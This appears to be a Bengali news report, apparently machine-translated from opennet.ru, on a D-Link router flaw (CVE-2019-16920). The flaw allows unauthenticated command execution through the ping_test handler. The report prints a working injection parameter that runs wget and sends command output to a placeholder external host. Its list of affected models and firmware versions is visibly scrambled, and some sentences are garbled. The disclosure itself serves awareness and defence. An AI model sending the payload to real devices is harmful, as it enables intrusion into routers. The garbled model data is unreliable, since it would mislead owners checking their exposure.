D-Link রাউটারগুলিতে দূরবর্তীভাবে শোষণযোগ্য দুর্বলতা

ডি-লিংক ওয়্যারলেস রাউটারগুলিতে চিহ্নিত বিপজ্জনক দুর্বলতা (CVE-2019-16920), যা আপনাকে "ping_test" হ্যান্ডলারের কাছে একটি বিশেষ অনুরোধ পাঠিয়ে ডিভাইসের পাশে দূরবর্তীভাবে কোড চালানোর অনুমতি দেয়, প্রমাণীকরণ ছাড়াই অ্যাক্সেসযোগ্য।

মজার বিষয় হল, ফার্মওয়্যার ডেভেলপারদের মতে, "পিং_টেস্ট" কলটি শুধুমাত্র প্রমাণীকরণের পরেই চালানো উচিত, তবে বাস্তবে এটি ওয়েব ইন্টারফেসে লগ ইন করা নির্বিশেষে যে কোনও ক্ষেত্রেই বলা হয়। বিশেষ করে, apply_sec.cgi স্ক্রিপ্ট অ্যাক্সেস করার সময় এবং "action=ping_test" প্যারামিটার পাস করার সময়, স্ক্রিপ্টটি প্রমাণীকরণ পৃষ্ঠায় পুনঃনির্দেশ করে, কিন্তু একই সময়ে ping_test-এর সাথে যুক্ত ক্রিয়া সম্পাদন করে। কোডটি কার্যকর করার জন্য, ping_test-এ অন্য একটি দুর্বলতা ব্যবহার করা হয়েছিল, যা পরীক্ষার জন্য পাঠানো আইপি ঠিকানার সঠিকতা সঠিকভাবে পরীক্ষা না করেই পিং ইউটিলিটিকে কল করে। উদাহরণস্বরূপ, wget ইউটিলিটি কল করতে এবং "echo 1234" কমান্ডের ফলাফলগুলি একটি বাহ্যিক হোস্টে স্থানান্তর করতে, শুধুমাত্র প্যারামিটারটি নির্দিষ্ট করুন "ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http:// test.test/?$( echo 1234)"।

নিম্নোক্ত মডেলগুলিতে দুর্বলতার উপস্থিতি আনুষ্ঠানিকভাবে নিশ্চিত করা হয়েছে:

• DIR-655 ফার্মওয়্যার 3.02b05 বা তার বেশি;
• ফার্মওয়্যার 866b1.03 বা তার বেশি সহ DIR-04L;
• ফার্মওয়্যার 1565 বা তার বেশি সহ DIR-1.01;
• DIR-652 (সমস্যাযুক্ত ফার্মওয়্যার সংস্করণ সম্পর্কে কোন তথ্য প্রদান করা হয় না)

এই মডেলগুলির জন্য সমর্থন সময়কাল ইতিমধ্যেই শেষ হয়ে গেছে, তাই D-Link তিনি বলেছিলেন, যা দুর্বলতা দূর করতে তাদের জন্য আপডেট প্রকাশ করবে না, সেগুলি ব্যবহার করার পরামর্শ দেয় না এবং নতুন ডিভাইসগুলির সাথে প্রতিস্থাপন করার পরামর্শ দেয়৷ একটি নিরাপত্তা সমাধান হিসাবে, আপনি শুধুমাত্র বিশ্বস্ত IP ঠিকানাগুলিতে ওয়েব ইন্টারফেসে অ্যাক্সেস সীমিত করতে পারেন।

পরে জানা গেল দুর্বলতাও ছিল প্রভাবিত করে মডেলগুলি DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835 এবং DIR-825, আপডেটগুলি প্রকাশ করার পরিকল্পনা যার জন্য এখনও জানা যায়নি৷

উত্স: opennet.ru